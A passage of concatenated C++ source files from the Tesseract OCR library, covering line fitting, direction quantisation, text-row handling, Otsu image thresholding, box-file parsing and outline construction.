// (Var(xi) - Var(yi))cos2𝜃 < -2Covar(xi, yi)sin2𝜃 (InEq 1)
// But atan2(2Covar(xi, yi), Var(xi) - Var(yi)) picks 2𝜃 such that:
// sgn(cos2𝜃) = sgn(Var(xi) - Var(yi)) and sgn(sin2𝜃) = sgn(Covar(xi, yi))
// so InEq1 can *never* be true, making the atan2 result *always* the min!
// In the degenerate case, where Covar(xi, yi) = 0 AND Var(xi) = Var(yi),
// the 2 solutions have equal error and the inequality is still false.
// Therefore the solution really is as trivial as Eq 3.
// This is equivalent to returning the Principal Component in PCA, or the
// eigenvector corresponding to the largest eigenvalue in the covariance
// matrix. However, atan2 is much simpler! The one reference I found that
// uses this formula is http://web.mit.edu/18.06/www/Essays/tlsfit.pdf but
// that is still a much more complex derivation. It seems Pearson had already
// found this simple solution in 1901.
// http://books.google.com/books?id=WXwvAQAAIAAJ&pg=PA559
FCOORD LLSQ::vector_fit() const {
double x_var = x_variance();
double y_var = y_variance();
double covar = covariance();
double theta = 0.5 * atan2(2.0 * covar, x_var - y_var);
FCOORD result(cos(theta), sin(theta));
return result;
}
| C++ |
/**********************************************************************
* File: mod128.c (Formerly dir128.c)
* Description: Code to convert a DIR128 to an ICOORD.
* Author: Ray Smith
* Created: Tue Oct 22 11:56:09 BST 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#include "mod128.h"
const inT16 idirtab[] = {
1000, 0, 998, 49, 995, 98, 989, 146,
980, 195, 970, 242, 956, 290, 941, 336,
923, 382, 903, 427, 881, 471, 857, 514,
831, 555, 803, 595, 773, 634, 740, 671,
707, 707, 671, 740, 634, 773, 595, 803,
555, 831, 514, 857, 471, 881, 427, 903,
382, 923, 336, 941, 290, 956, 242, 970,
195, 980, 146, 989, 98, 995, 49, 998,
0, 1000, -49, 998, -98, 995, -146, 989,
-195, 980, -242, 970, -290, 956, -336, 941,
-382, 923, -427, 903, -471, 881, -514, 857,
-555, 831, -595, 803, -634, 773, -671, 740,
-707, 707, -740, 671, -773, 634, -803, 595,
-831, 555, -857, 514, -881, 471, -903, 427,
-923, 382, -941, 336, -956, 290, -970, 242,
-980, 195, -989, 146, -995, 98, -998, 49,
-1000, 0, -998, -49, -995, -98, -989, -146,
-980, -195, -970, -242, -956, -290, -941, -336,
-923, -382, -903, -427, -881, -471, -857, -514,
-831, -555, -803, -595, -773, -634, -740, -671,
-707, -707, -671, -740, -634, -773, -595, -803,
-555, -831, -514, -857, -471, -881, -427, -903,
-382, -923, -336, -941, -290, -956, -242, -970,
-195, -980, -146, -989, -98, -995, -49, -998,
0, -1000, 49, -998, 98, -995, 146, -989,
195, -980, 242, -970, 290, -956, 336, -941,
382, -923, 427, -903, 471, -881, 514, -857,
555, -831, 595, -803, 634, -773, 671, -740,
707, -707, 740, -671, 773, -634, 803, -595,
831, -555, 857, -514, 881, -471, 903, -427,
923, -382, 941, -336, 956, -290, 970, -242,
980, -195, 989, -146, 995, -98, 998, -49
};
const ICOORD *dirtab = (ICOORD *) idirtab;
/**********************************************************************
* DIR128::DIR128
*
* Quantize the direction of an FCOORD to make a DIR128.
**********************************************************************/
DIR128::DIR128( //from fcoord
const FCOORD fc //vector to quantize
) {
int high, low, current; //binary search
low = 0;
if (fc.y () == 0) {
if (fc.x () >= 0)
dir = 0;
else
dir = MODULUS / 2;
return;
}
high = MODULUS;
do {
current = (high + low) / 2;
if (dirtab[current] * fc >= 0)
low = current;
else
high = current;
}
while (high - low > 1);
dir = low;
}
/**********************************************************************
* dir_to_gradient
*
* Convert a direction to a vector.
**********************************************************************/
ICOORD DIR128::vector() const { //convert to vector
return dirtab[dir]; //easy really
}
| C++ |
/**********************************************************************
* File: ocrrow.cpp (Formerly row.c)
* Description: Code for the ROW class.
* Author: Ray Smith
* Created: Tue Oct 08 15:58:04 BST 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#include "ocrrow.h"
#include "blobbox.h"
// Include automatically generated configuration file if running autoconf.
#ifdef HAVE_CONFIG_H
#include "config_auto.h"
#endif
ELISTIZE (ROW)
/**********************************************************************
* ROW::ROW
*
* Constructor to build a ROW. Only the stats stuff are given here.
* The words are added directly.
**********************************************************************/
ROW::ROW ( //constructor
inT32 spline_size, //no of segments
inT32 * xstarts, //segment boundaries
double *coeffs, //coefficients
float x_height, //line height
float ascenders, //ascender size
float descenders, //descender drop
inT16 kern, //char gap
inT16 space //word gap
)
: baseline(spline_size, xstarts, coeffs),
para_(NULL) {
kerning = kern; //just store stuff
spacing = space;
xheight = x_height;
ascrise = ascenders;
bodysize = 0.0f;
descdrop = descenders;
has_drop_cap_ = false;
lmargin_ = 0;
rmargin_ = 0;
}
/**********************************************************************
* ROW::ROW
*
* Constructor to build a ROW. Only the stats stuff are given here.
* The words are added directly.
**********************************************************************/
ROW::ROW( //constructor
TO_ROW *to_row, //source row
inT16 kern, //char gap
inT16 space //word gap
) : para_(NULL) {
kerning = kern; //just store stuff
spacing = space;
xheight = to_row->xheight;
bodysize = to_row->body_size;
ascrise = to_row->ascrise;
descdrop = to_row->descdrop;
baseline = to_row->baseline;
has_drop_cap_ = false;
lmargin_ = 0;
rmargin_ = 0;
}
/**********************************************************************
* ROW::recalc_bounding_box
*
* Set the bounding box correctly
**********************************************************************/
void ROW::recalc_bounding_box() { //recalculate BB
WERD *word; //current word
WERD_IT it = &words; //words of ROW
inT16 left; //of word
inT16 prev_left; //old left
if (!it.empty ()) {
word = it.data ();
prev_left = word->bounding_box ().left ();
it.forward ();
while (!it.at_first ()) {
word = it.data ();
left = word->bounding_box ().left ();
if (left < prev_left) {
it.move_to_first ();
//words in BB order
it.sort (word_comparator);
break;
}
prev_left = left;
it.forward ();
}
}
for (it.mark_cycle_pt (); !it.cycled_list (); it.forward ()) {
word = it.data ();
if (it.at_first ())
word->set_flag (W_BOL, TRUE);
else
//not start of line
word->set_flag (W_BOL, FALSE);
if (it.at_last ())
word->set_flag (W_EOL, TRUE);
else
//not end of line
word->set_flag (W_EOL, FALSE);
//extend BB as reqd
bound_box += word->bounding_box ();
}
}
/**********************************************************************
* ROW::move
*
* Reposition row by vector
**********************************************************************/
void ROW::move( // reposition row
const ICOORD vec // by vector
) {
WERD_IT it(&words); // word iterator
for (it.mark_cycle_pt (); !it.cycled_list (); it.forward ())
it.data ()->move (vec);
bound_box.move (vec);
baseline.move (vec);
}
/**********************************************************************
* ROW::print
*
* Display members
**********************************************************************/
void ROW::print( //print
FILE *fp //file to print on
) {
tprintf("Kerning= %d\n", kerning);
tprintf("Spacing= %d\n", spacing);
bound_box.print();
tprintf("Xheight= %f\n", xheight);
tprintf("Ascrise= %f\n", ascrise);
tprintf("Descdrop= %f\n", descdrop);
tprintf("has_drop_cap= %d\n", has_drop_cap_);
tprintf("lmargin= %d, rmargin= %d\n", lmargin_, rmargin_);
}
/**********************************************************************
* ROW::plot
*
* Draw the ROW in the given colour.
**********************************************************************/
#ifndef GRAPHICS_DISABLED
void ROW::plot( //draw it
ScrollView* window, //window to draw in
ScrollView::Color colour //colour to draw in
) {
WERD *word; //current word
WERD_IT it = &words; //words of ROW
for (it.mark_cycle_pt (); !it.cycled_list (); it.forward ()) {
word = it.data ();
word->plot (window, colour); //all in one colour
}
}
/**********************************************************************
* ROW::plot
*
* Draw the ROW in rainbow colours.
**********************************************************************/
void ROW::plot( //draw it
ScrollView* window //window to draw in
) {
WERD *word; //current word
WERD_IT it = &words; //words of ROW
for (it.mark_cycle_pt (); !it.cycled_list (); it.forward ()) {
word = it.data ();
word->plot (window); //in rainbow colours
}
}
#endif // GRAPHICS_DISABLED
/**********************************************************************
* ROW::operator=
*
* Assign rows by duplicating the row structure but NOT the WERDLIST
**********************************************************************/
ROW & ROW::operator= (const ROW & source) {
this->ELIST_LINK::operator= (source);
kerning = source.kerning;
spacing = source.spacing;
xheight = source.xheight;
bodysize = source.bodysize;
ascrise = source.ascrise;
descdrop = source.descdrop;
if (!words.empty ())
words.clear ();
baseline = source.baseline; //QSPLINES must do =
bound_box = source.bound_box;
has_drop_cap_ = source.has_drop_cap_;
lmargin_ = source.lmargin_;
rmargin_ = source.rmargin_;
para_ = source.para_;
return *this;
}
| C++ |
/**********************************************************************
* File: otsuthr.cpp
* Description: Simple Otsu thresholding for binarizing images.
* Author: Ray Smith
* Created: Fri Mar 07 12:31:01 PST 2008
*
* (C) Copyright 2008, Google Inc.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#include "otsuthr.h"
#include <string.h>
#include "allheaders.h"
#include "helpers.h"
#include "openclwrapper.h"
namespace tesseract {
// Computes the Otsu threshold(s) for the given image rectangle, making one
// for each channel. Each channel is always one byte per pixel.
// Returns an array of threshold values and an array of hi_values, such
// that a pixel value >threshold[channel] is considered foreground if
// hi_values[channel] is 0 or background if 1. A hi_value of -1 indicates
// that there is no apparent foreground. At least one hi_value will not be -1.
// Delete thresholds and hi_values with delete [] after use.
// The return value is the number of channels in the input image, being
// the size of the output thresholds and hi_values arrays.
int OtsuThreshold(Pix* src_pix, int left, int top, int width, int height,
int** thresholds, int** hi_values) {
int num_channels = pixGetDepth(src_pix) / 8;
// Of all channels with no good hi_value, keep the best so we can always
// produce at least one answer.
PERF_COUNT_START("OtsuThreshold")
int best_hi_value = 1;
int best_hi_index = 0;
bool any_good_hivalue = false;
double best_hi_dist = 0.0;
*thresholds = new int[num_channels];
*hi_values = new int[num_channels];
// all of channel 0 then all of channel 1...
int *histogramAllChannels = new int[kHistogramSize * num_channels];
// only use opencl if compiled w/ OpenCL and selected device is opencl
#ifdef USE_OPENCL
// Calculate Histogram on GPU
OpenclDevice od;
if (od.selectedDeviceIsOpenCL() &&
(num_channels == 1 || num_channels == 4) && top == 0 && left == 0 ) {
od.HistogramRectOCL(
(const unsigned char*)pixGetData(src_pix),
num_channels,
pixGetWpl(src_pix) * 4,
left,
top,
width,
height,
kHistogramSize,
histogramAllChannels);
// Calculate Threshold from Histogram on cpu
for (int ch = 0; ch < num_channels; ++ch) {
(*thresholds)[ch] = -1;
(*hi_values)[ch] = -1;
int *histogram = &histogramAllChannels[kHistogramSize * ch];
int H;
int best_omega_0;
int best_t = OtsuStats(histogram, &H, &best_omega_0);
if (best_omega_0 == 0 || best_omega_0 == H) {
// This channel is empty.
continue;
}
// To be a convincing foreground we must have a small fraction of H
// or to be a convincing background we must have a large fraction of H.
// In between we assume this channel contains no thresholding information.
int hi_value = best_omega_0 < H * 0.5;
(*thresholds)[ch] = best_t;
if (best_omega_0 > H * 0.75) {
any_good_hivalue = true;
(*hi_values)[ch] = 0;
} else if (best_omega_0 < H * 0.25) {
any_good_hivalue = true;
(*hi_values)[ch] = 1;
} else {
// In case all channels are like this, keep the best of the bad lot.
double hi_dist = hi_value ? (H - best_omega_0) : best_omega_0;
if (hi_dist > best_hi_dist) {
best_hi_dist = hi_dist;
best_hi_value = hi_value;
best_hi_index = ch;
}
}
}
} else {
#endif
for (int ch = 0; ch < num_channels; ++ch) {
(*thresholds)[ch] = -1;
(*hi_values)[ch] = -1;
// Compute the histogram of the image rectangle.
int histogram[kHistogramSize];
HistogramRect(src_pix, ch, left, top, width, height, histogram);
int H;
int best_omega_0;
int best_t = OtsuStats(histogram, &H, &best_omega_0);
if (best_omega_0 == 0 || best_omega_0 == H) {
// This channel is empty.
continue;
}
// To be a convincing foreground we must have a small fraction of H
// or to be a convincing background we must have a large fraction of H.
// In between we assume this channel contains no thresholding information.
int hi_value = best_omega_0 < H * 0.5;
(*thresholds)[ch] = best_t;
if (best_omega_0 > H * 0.75) {
any_good_hivalue = true;
(*hi_values)[ch] = 0;
} else if (best_omega_0 < H * 0.25) {
any_good_hivalue = true;
(*hi_values)[ch] = 1;
} else {
// In case all channels are like this, keep the best of the bad lot.
double hi_dist = hi_value ? (H - best_omega_0) : best_omega_0;
if (hi_dist > best_hi_dist) {
best_hi_dist = hi_dist;
best_hi_value = hi_value;
best_hi_index = ch;
}
}
}
#ifdef USE_OPENCL
}
#endif // USE_OPENCL
delete[] histogramAllChannels;
if (!any_good_hivalue) {
// Use the best of the ones that were not good enough.
(*hi_values)[best_hi_index] = best_hi_value;
}
PERF_COUNT_END
return num_channels;
}
// Computes the histogram for the given image rectangle, and the given
// single channel. Each channel is always one byte per pixel.
// Histogram is always a kHistogramSize(256) element array to count
// occurrences of each pixel value.
void HistogramRect(Pix* src_pix, int channel,
int left, int top, int width, int height,
int* histogram) {
PERF_COUNT_START("HistogramRect")
int num_channels = pixGetDepth(src_pix) / 8;
channel = ClipToRange(channel, 0, num_channels - 1);
int bottom = top + height;
memset(histogram, 0, sizeof(*histogram) * kHistogramSize);
int src_wpl = pixGetWpl(src_pix);
l_uint32* srcdata = pixGetData(src_pix);
for (int y = top; y < bottom; ++y) {
const l_uint32* linedata = srcdata + y * src_wpl;
for (int x = 0; x < width; ++x) {
int pixel = GET_DATA_BYTE(const_cast<void*>(
reinterpret_cast<const void *>(linedata)),
(x + left) * num_channels + channel);
++histogram[pixel];
}
}
PERF_COUNT_END
}
// Computes the Otsu threshold(s) for the given histogram.
// Also returns H = total count in histogram, and
// omega0 = count of histogram below threshold.
int OtsuStats(const int* histogram, int* H_out, int* omega0_out) {
int H = 0;
double mu_T = 0.0;
for (int i = 0; i < kHistogramSize; ++i) {
H += histogram[i];
mu_T += static_cast<double>(i) * histogram[i];
}
// Now maximize sig_sq_B over t.
// http://www.ctie.monash.edu.au/hargreave/Cornall_Terry_328.pdf
int best_t = -1;
int omega_0, omega_1;
int best_omega_0 = 0;
double best_sig_sq_B = 0.0;
double mu_0, mu_1, mu_t;
omega_0 = 0;
mu_t = 0.0;
for (int t = 0; t < kHistogramSize - 1; ++t) {
omega_0 += histogram[t];
mu_t += t * static_cast<double>(histogram[t]);
if (omega_0 == 0)
continue;
omega_1 = H - omega_0;
if (omega_1 == 0)
break;
mu_0 = mu_t / omega_0;
mu_1 = (mu_T - mu_t) / omega_1;
double sig_sq_B = mu_1 - mu_0;
sig_sq_B *= sig_sq_B * omega_0 * omega_1;
if (best_t < 0 || sig_sq_B > best_sig_sq_B) {
best_sig_sq_B = sig_sq_B;
best_t = t;
best_omega_0 = omega_0;
}
}
if (H_out != NULL) *H_out = H;
if (omega0_out != NULL) *omega0_out = best_omega_0;
return best_t;
}
} // namespace tesseract.
| C++ |
/**********************************************************************
* File: boxread.cpp
* Description: Read data from a box file.
* Author: Ray Smith
* Created: Fri Aug 24 17:47:23 PDT 2007
*
* (C) Copyright 2007, Google Inc.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#include "boxread.h"
#include <string.h>
#include "fileerr.h"
#include "rect.h"
#include "strngs.h"
#include "tprintf.h"
#include "unichar.h"
// Special char code used to identify multi-blob labels.
static const char* kMultiBlobLabelCode = "WordStr";
// Open the boxfile based on the given image filename.
FILE* OpenBoxFile(const STRING& fname) {
STRING filename = BoxFileName(fname);
FILE* box_file = NULL;
if (!(box_file = fopen(filename.string(), "rb"))) {
CANTOPENFILE.error("read_next_box", TESSEXIT,
"Cant open box file %s",
filename.string());
}
return box_file;
}
// Reads all boxes from the given filename.
// Reads a specific target_page number if >= 0, or all pages otherwise.
// Skips blanks if skip_blanks is true.
// The UTF-8 label of the box is put in texts, and the full box definition as
// a string is put in box_texts, with the corresponding page number in pages.
// Each of the output vectors is optional (may be NULL).
// Returns false if no boxes are found.
bool ReadAllBoxes(int target_page, bool skip_blanks, const STRING& filename,
GenericVector<TBOX>* boxes,
GenericVector<STRING>* texts,
GenericVector<STRING>* box_texts,
GenericVector<int>* pages) {
GenericVector<char> box_data;
if (!tesseract::LoadDataFromFile(BoxFileName(filename), &box_data))
return false;
return ReadMemBoxes(target_page, skip_blanks, &box_data[0], boxes, texts,
box_texts, pages);
}
// Reads all boxes from the string. Otherwise, as ReadAllBoxes.
bool ReadMemBoxes(int target_page, bool skip_blanks, const char* box_data,
GenericVector<TBOX>* boxes,
GenericVector<STRING>* texts,
GenericVector<STRING>* box_texts,
GenericVector<int>* pages) {
STRING box_str(box_data);
GenericVector<STRING> lines;
box_str.split('\n', &lines);
if (lines.empty()) return false;
int num_boxes = 0;
for (int i = 0; i < lines.size(); ++i) {
int page = 0;
STRING utf8_str;
TBOX box;
if (!ParseBoxFileStr(lines[i].string(), &page, &utf8_str, &box)) {
continue;
}
if (skip_blanks && utf8_str == " ") continue;
if (target_page >= 0 && page != target_page) continue;
if (boxes != NULL) boxes->push_back(box);
if (texts != NULL) texts->push_back(utf8_str);
if (box_texts != NULL) {
STRING full_text;
MakeBoxFileStr(utf8_str.string(), box, target_page, &full_text);
box_texts->push_back(full_text);
}
if (pages != NULL) pages->push_back(page);
++num_boxes;
}
return num_boxes > 0;
}
// Returns the box file name corresponding to the given image_filename.
STRING BoxFileName(const STRING& image_filename) {
STRING box_filename = image_filename;
const char *lastdot = strrchr(box_filename.string(), '.');
if (lastdot != NULL)
box_filename.truncate_at(lastdot - box_filename.string());
box_filename += ".box";
return box_filename;
}
// TODO(rays) convert all uses of ReadNextBox to use the new ReadAllBoxes.
// Box files are used ONLY DURING TRAINING, but by both processes of
// creating tr files with tesseract, and unicharset_extractor.
// ReadNextBox factors out the code to interpret a line of a box
// file so that applybox and unicharset_extractor interpret the same way.
// This function returns the next valid box file utf8 string and coords
// and returns true, or false on eof (and closes the file).
// It ignores the utf8 file signature ByteOrderMark (U+FEFF=EF BB BF), checks
// for valid utf-8 and allows space or tab between fields.
// utf8_str is set with the unichar string, and bounding box with the box.
// If there are page numbers in the file, it reads them all.
bool ReadNextBox(int *line_number, FILE* box_file,
STRING* utf8_str, TBOX* bounding_box) {
return ReadNextBox(-1, line_number, box_file, utf8_str, bounding_box);
}
// As ReadNextBox above, but get a specific page number. (0-based)
// Use -1 to read any page number. Files without page number all
// read as if they are page 0.
bool ReadNextBox(int target_page, int *line_number, FILE* box_file,
STRING* utf8_str, TBOX* bounding_box) {
int page = 0;
char buff[kBoxReadBufSize]; // boxfile read buffer
char *buffptr = buff;
while (fgets(buff, sizeof(buff) - 1, box_file)) {
(*line_number)++;
buffptr = buff;
const unsigned char *ubuf = reinterpret_cast<const unsigned char*>(buffptr);
if (ubuf[0] == 0xef && ubuf[1] == 0xbb && ubuf[2] == 0xbf)
buffptr += 3; // Skip unicode file designation.
// Check for blank lines in box file
if (*buffptr == '\n' || *buffptr == '\0') continue;
// Skip blank boxes.
if (*buffptr == ' ' || *buffptr == '\t') continue;
if (*buffptr != '\0') {
if (!ParseBoxFileStr(buffptr, &page, utf8_str, bounding_box)) {
tprintf("Box file format error on line %i; ignored\n", *line_number);
continue;
}
if (target_page >= 0 && target_page != page)
continue; // Not on the appropriate page.
return true; // Successfully read a box.
}
}
fclose(box_file);
return false; // EOF
}
// Parses the given box file string into a page_number, utf8_str, and
// bounding_box. Returns true on a successful parse.
// The box file is assumed to contain box definitions, one per line, of the
// following format for blob-level boxes:
// <UTF8 str> <left> <bottom> <right> <top> <page id>
// and for word/line-level boxes:
// WordStr <left> <bottom> <right> <top> <page id> #<space-delimited word str>
// See applyybox.cpp for more information.
bool ParseBoxFileStr(const char* boxfile_str, int* page_number,
STRING* utf8_str, TBOX* bounding_box) {
*bounding_box = TBOX(); // Initialize it to empty.
*utf8_str = "";
char uch[kBoxReadBufSize];
const char *buffptr = boxfile_str;
// Read the unichar without messing up on Tibetan.
// According to issue 253 the utf-8 surrogates 85 and A0 are treated
// as whitespace by sscanf, so it is more reliable to just find
// ascii space and tab.
int uch_len = 0;
// Skip unicode file designation, if present.
const unsigned char *ubuf = reinterpret_cast<const unsigned char*>(buffptr);
if (ubuf[0] == 0xef && ubuf[1] == 0xbb && ubuf[2] == 0xbf)
buffptr += 3;
// Allow a single blank as the UTF-8 string. Check for empty string and
// then blindly eat the first character.
if (*buffptr == '\0') return false;
do {
uch[uch_len++] = *buffptr++;
} while (*buffptr != '\0' && *buffptr != ' ' && *buffptr != '\t' &&
uch_len < kBoxReadBufSize - 1);
uch[uch_len] = '\0';
if (*buffptr != '\0') ++buffptr;
int x_min, y_min, x_max, y_max;
*page_number = 0;
int count = sscanf(buffptr, "%d %d %d %d %d",
&x_min, &y_min, &x_max, &y_max, page_number);
if (count != 5 && count != 4) {
tprintf("Bad box coordinates in boxfile string! %s\n", ubuf);
return false;
}
// Test for long space-delimited string label.
if (strcmp(uch, kMultiBlobLabelCode) == 0 &&
(buffptr = strchr(buffptr, '#')) != NULL) {
strncpy(uch, buffptr + 1, kBoxReadBufSize - 1);
uch[kBoxReadBufSize - 1] = '\0'; // Prevent buffer overrun.
chomp_string(uch);
uch_len = strlen(uch);
}
// Validate UTF8 by making unichars with it.
int used = 0;
while (used < uch_len) {
UNICHAR ch(uch + used, uch_len - used);
int new_used = ch.utf8_len();
if (new_used == 0) {
tprintf("Bad UTF-8 str %s starts with 0x%02x at col %d\n",
uch + used, uch[used], used + 1);
return false;
}
used += new_used;
}
*utf8_str = uch;
if (x_min > x_max) Swap(&x_min, &x_max);
if (y_min > y_max) Swap(&y_min, &y_max);
bounding_box->set_to_given_coords(x_min, y_min, x_max, y_max);
return true; // Successfully read a box.
}
// Creates a box file string from a unichar string, TBOX and page number.
void MakeBoxFileStr(const char* unichar_str, const TBOX& box, int page_num,
STRING* box_str) {
*box_str = unichar_str;
box_str->add_str_int(" ", box.left());
box_str->add_str_int(" ", box.bottom());
box_str->add_str_int(" ", box.right());
box_str->add_str_int(" ", box.top());
box_str->add_str_int(" ", page_num);
}
| C++ |
/**********************************************************************
* File: coutln.c (Formerly coutline.c)
* Description: Code for the C_OUTLINE class.
* Author: Ray Smith
* Created: Mon Oct 07 16:01:57 BST 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#include <string.h>
#ifdef __UNIX__
#include <assert.h>
#endif
#include "coutln.h"
#include "allheaders.h"
#include "blobs.h"
#include "normalis.h"
// Include automatically generated configuration file if running autoconf.
#ifdef HAVE_CONFIG_H
#include "config_auto.h"
#endif
ELISTIZE (C_OUTLINE)
ICOORD C_OUTLINE::step_coords[4] = {
ICOORD (-1, 0), ICOORD (0, -1), ICOORD (1, 0), ICOORD (0, 1)
};
/**********************************************************************
* C_OUTLINE::C_OUTLINE
*
* Constructor to build a C_OUTLINE from a CRACKEDGE LOOP.
**********************************************************************/
C_OUTLINE::C_OUTLINE (
//constructor
CRACKEDGE * startpt, //outline to convert
ICOORD bot_left, //bounding box
ICOORD top_right, inT16 length //length of loop
):box (bot_left, top_right), start (startpt->pos), offsets(NULL) {
inT16 stepindex; //index to step
CRACKEDGE *edgept; //current point
stepcount = length; //no of steps
if (length == 0) {
steps = NULL;
return;
}
//get memory
steps = (uinT8 *) alloc_mem (step_mem());
memset(steps, 0, step_mem());
edgept = startpt;
for (stepindex = 0; stepindex < length; stepindex++) {
//set compact step
set_step (stepindex, edgept->stepdir);
edgept = edgept->next;
}
}
/**********************************************************************
* C_OUTLINE::C_OUTLINE
*
* Constructor to build a C_OUTLINE from a C_OUTLINE_FRAG.
**********************************************************************/
C_OUTLINE::C_OUTLINE (
//constructor
//steps to copy
ICOORD startpt, DIR128 * new_steps,
inT16 length //length of loop
):start (startpt), offsets(NULL) {
inT8 dirdiff; //direction difference
DIR128 prevdir; //previous direction
DIR128 dir; //current direction
DIR128 lastdir; //dir of last step
TBOX new_box; //easy bounding
inT16 stepindex; //index to step
inT16 srcindex; //source steps
ICOORD pos; //current position
pos = startpt;
stepcount = length; // No. of steps.
ASSERT_HOST(length >= 0);
steps = reinterpret_cast<uinT8*>(alloc_mem(step_mem())); // Get memory.
memset(steps, 0, step_mem());
lastdir = new_steps[length - 1];
prevdir = lastdir;
for (stepindex = 0, srcindex = 0; srcindex < length;
stepindex++, srcindex++) {
new_box = TBOX (pos, pos);
box += new_box;
//copy steps
dir = new_steps[srcindex];
set_step(stepindex, dir);
dirdiff = dir - prevdir;
pos += step (stepindex);
if ((dirdiff == 64 || dirdiff == -64) && stepindex > 0) {
stepindex -= 2; //cancel there-and-back
prevdir = stepindex >= 0 ? step_dir (stepindex) : lastdir;
}
else
prevdir = dir;
}
ASSERT_HOST (pos.x () == startpt.x () && pos.y () == startpt.y ());
do {
dirdiff = step_dir (stepindex - 1) - step_dir (0);
if (dirdiff == 64 || dirdiff == -64) {
start += step (0);
stepindex -= 2; //cancel there-and-back
for (int i = 0; i < stepindex; ++i)
set_step(i, step_dir(i + 1));
}
}
while (stepindex > 1 && (dirdiff == 64 || dirdiff == -64));
stepcount = stepindex;
ASSERT_HOST (stepcount >= 4);
}
/**********************************************************************
* C_OUTLINE::C_OUTLINE
*
* Constructor to build a C_OUTLINE from a rotation of a C_OUTLINE.
**********************************************************************/
C_OUTLINE::C_OUTLINE( //constructor
C_OUTLINE *srcline, //outline to
FCOORD rotation //rotate
) : offsets(NULL) {
TBOX new_box; //easy bounding
inT16 stepindex; //index to step
inT16 dirdiff; //direction change
ICOORD pos; //current position
ICOORD prevpos; //previous dest point
ICOORD destpos; //destination point
inT16 destindex; //index to step
DIR128 dir; //coded direction
uinT8 new_step;
stepcount = srcline->stepcount * 2;
if (stepcount == 0) {
steps = NULL;
box = srcline->box;
box.rotate(rotation);
return;
}
//get memory
steps = (uinT8 *) alloc_mem (step_mem());
memset(steps, 0, step_mem());
for (int iteration = 0; iteration < 2; ++iteration) {
DIR128 round1 = iteration == 0 ? 32 : 0;
DIR128 round2 = iteration != 0 ? 32 : 0;
pos = srcline->start;
prevpos = pos;
prevpos.rotate (rotation);
start = prevpos;
box = TBOX (start, start);
destindex = 0;
for (stepindex = 0; stepindex < srcline->stepcount; stepindex++) {
pos += srcline->step (stepindex);
destpos = pos;
destpos.rotate (rotation);
// tprintf("%i %i %i %i ", destpos.x(), destpos.y(), pos.x(), pos.y());
while (destpos.x () != prevpos.x () || destpos.y () != prevpos.y ()) {
dir = DIR128 (FCOORD (destpos - prevpos));
dir += 64; //turn to step style
new_step = dir.get_dir ();
// tprintf(" %i\n", new_step);
if (new_step & 31) {
set_step(destindex++, dir + round1);
prevpos += step(destindex - 1);
if (destindex < 2
|| ((dirdiff =
step_dir (destindex - 1) - step_dir (destindex - 2)) !=
-64 && dirdiff != 64)) {
set_step(destindex++, dir + round2);
prevpos += step(destindex - 1);
} else {
prevpos -= step(destindex - 1);
destindex--;
prevpos -= step(destindex - 1);
set_step(destindex - 1, dir + round2);
prevpos += step(destindex - 1);
}
}
else {
set_step(destindex++, dir);
prevpos += step(destindex - 1);
}
while (destindex >= 2 &&
((dirdiff =
step_dir (destindex - 1) - step_dir (destindex - 2)) == -64 ||
dirdiff == 64)) {
prevpos -= step(destindex - 1);
prevpos -= step(destindex - 2);
destindex -= 2; // Forget u turn
}
//ASSERT_HOST(prevpos.x() == destpos.x() && prevpos.y() == destpos.y());
new_box = TBOX (destpos, destpos);
box += new_box;
}
}
ASSERT_HOST (destpos.x () == start.x () && destpos.y () == start.y ());
dirdiff = step_dir (destindex - 1) - step_dir (0);
while ((dirdiff == 64 || dirdiff == -64) && destindex > 1) {
start += step (0);
destindex -= 2;
for (int i = 0; i < destindex; ++i)
set_step(i, step_dir(i + 1));
dirdiff = step_dir (destindex - 1) - step_dir (0);
}
if (destindex >= 4)
break;
}
ASSERT_HOST(destindex <= stepcount);
stepcount = destindex;
destpos = start;
for (stepindex = 0; stepindex < stepcount; stepindex++) {
destpos += step (stepindex);
}
ASSERT_HOST (destpos.x () == start.x () && destpos.y () == start.y ());
}
// Build a fake outline, given just a bounding box and append to the list.
void C_OUTLINE::FakeOutline(const TBOX& box, C_OUTLINE_LIST* outlines) {
C_OUTLINE_IT ol_it(outlines);
// Make a C_OUTLINE from the bounds. This is a bit of a hack,
// as there is no outline, just a bounding box, but it works nicely.
CRACKEDGE start;
start.pos = box.topleft();
C_OUTLINE* outline = new C_OUTLINE(&start, box.topleft(), box.botright(), 0);
ol_it.add_to_end(outline);
}
/**********************************************************************
* C_OUTLINE::area
*
